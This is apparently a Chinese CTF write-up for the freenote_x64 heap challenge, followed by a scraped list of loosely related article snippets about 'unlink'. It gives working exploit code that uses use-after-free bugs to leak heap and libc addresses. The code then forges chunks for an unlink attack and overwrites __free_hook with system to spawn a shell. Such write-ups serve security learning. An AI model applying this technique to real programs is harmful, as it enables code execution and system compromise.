保护

分析

init_large_chunk

show

new

edit

dele

malloc有限制,大小只能为0x80的整数倍如0x80、0x100、0x180

edit有个realloc函数且带有uaf漏洞

dele函数也有uaf漏洞,当时没注意到!!!

因为dele函数有uaf所以realloc的uaf漏洞本exp没用到。。。。。。

思路

因为有uaf就可以很方便的泄漏heap地址和libc地址

add(0x80,'0') #0
add(0x80,'1') #0
add(0x80,'2') #0
add(0x80,'3') #0
dele(0)
dele(2)
add(8,'0'*8) #0
add(8,'2'*8) #0
show()
ru('0'*8)
heap = info(rc(4),'heap') - (0x12c7940-0x12c6000)
ru('2'*8)
libc.address = info(rc(6),'libc') -(0x7f64dfb65b78-0x7f64df7a1000)

再去掉所有的堆块,便于后面伪造堆块

dele(3)
dele(2)
dele(1)
dele(0)

然后通过edit函数一次性伪造全部堆块,再进行unlink操作

target = heap + 0x30
payload = p64(0) + p64(0x111) + p64(target - 0x18) + p64(target - 0x10)
add(len(payload),payload)payload =  b'/bin/sh\x00' + b"A"*0x78  + p64(0x110) + p64(0x90) + b"B"*0x80
payload += p64(0) + p64(0x91) + b"C"*0x80
add(len(payload), payload)
dele(2)#unlink

getshell

payload = p64(1)*2  +  p64(8) + p64(libc.symbols['__free_hook'])
edit(0,len(payload),payload)payload = p64(libc.symbols['system'])
edit(0,len(payload),payload)

截图

unlink(freenote_x64)相关推荐

  1. 一道题彻底理解 Pwn Heap Unlink

    基本原理 unlink是一个宏操作,用于将某一个空闲 chunk 从其所处的双向链表中脱链, 我们来利用unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 ...

  2. npm install 提示权限不足 Error: EPERM: operation not permitted, unlink XXX

    问题描述 使用npm install出现 npm install 提示权限不足 Error: EPERM: operation not permitted, unlink XXX提示 原因 这里原因有 ...

  3. linux shell unlink,linux shell中,unlink和rm命令有什么区别

    strace 跑 rm 與 unlink,結果有不同地方. 1. strace rm 1.txt 片段 access("1.txt", W_OK)                  ...

  4. linux c 函数 link symlink unlink 链接相关功能

    硬链接link 1.硬链接命令为ln,函数为link 2.man 2 link      硬链接函数 int link(const char *oldpath, const char *newpath ...

  5. Linux中link,unlink,close,fclose详解

    unlink系统调用] 功能描述: 从文件系统中删除一个名称.如果名称是文件的最后一个连接,并且没有其它进程将文件打开,名称对应的文件会实际被删除. 用法: #include <unistd.h ...

  6. Android中堆unlink利用学习

    前言 最近学习了堆的管理,如何进行unlink利用.发现大多数文章在讲解利用unlink进行任意地址写时没有解释得很透彻(也可能是我比较愚钝吧(╯﹏╰)),看得是云里雾里:-(.....直到看到了sh ...

  7. php中的unlink(),unset(),rmdir()删除函数

    一.unset()函数 1.这是php手册中的解释:http://www.php.net/manual/zh/function.unset.php 用法: $a = 1; unset($a); PHP ...

  8. c语言 unlink,unlink 漏洞笔记

    前导知识 malloc_chunk 结构 struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if ...

  9. Linux下unlink函数的使用

    一.头文件 #include<unistd.h> 二.函数原型 int unlink(const char *pathname); 三.函数介绍 unlink()函数功能即为删除文件.执行 ...

最新文章

  1. 解决Eclipse Problems视图丢失图标问题
  2. Python流程控制语句
  3. BUUCTF(PWN)suctf_2018_stack
  4. CodeForces - 618D Hamiltonian Spanning Tree(思维+贪心)
  5. Asp.net采集用到的幾個方法
  6. ajax官方api,yangguozhong
  7. jsp+servlet实现模糊查询和分页效果
  8. HMM隐马尔科夫模型及股票预测
  9. 学生成绩预测模型_学生成绩分析预测
  10. Exception in thread main java.lang.NoClassDefFoundError: org/w3c/dom/Eleme
  11. 最炫表白网站html5源码_七夕程序员的十款表白源码_html+css+js
  12. gazebo+turtlebot3+gmapping建二维地图
  13. 《Effective C++》学习笔记(持续更新)
  14. C++游戏天堂——经典型(1)
  15. SAT阅读常见重要词汇
  16. 微信小程序:“去中心化”的社交电商,电商正转向以商品为核心
  17. html5 摇骰子游戏,html5摇骰子游戏
  18. JS 对象转换为数组
  19. 多分类--dice acc计算
  20. 儿童高脚椅、餐椅安全标准ASTM F404

热门文章

  1. RocketMQ自动创建topic原理-TBW102
  2. 嵌入式培训班有必要吗?
  3. 【技术探讨】如何选择一款距离远的无线通信模块?
  4. 用python给女朋友惊喜_如和用python给女朋友做个专属她的软件
  5. java 单元测试_android开发奇技淫巧《通过main方法,写单元测试》
  6. Android获取Wifi信号强度方法总结
  7. A-Softmax的总结及与L-Softmax的对比——SphereFace 1
  8. RISC-V架构将是我国物联网芯片逆袭机会
  9. python爬取淘宝搜索页面+url+图片下载并将信息保存到MySQL数据库中
  10. 看看VintaSoftTwain.NET SDK最新版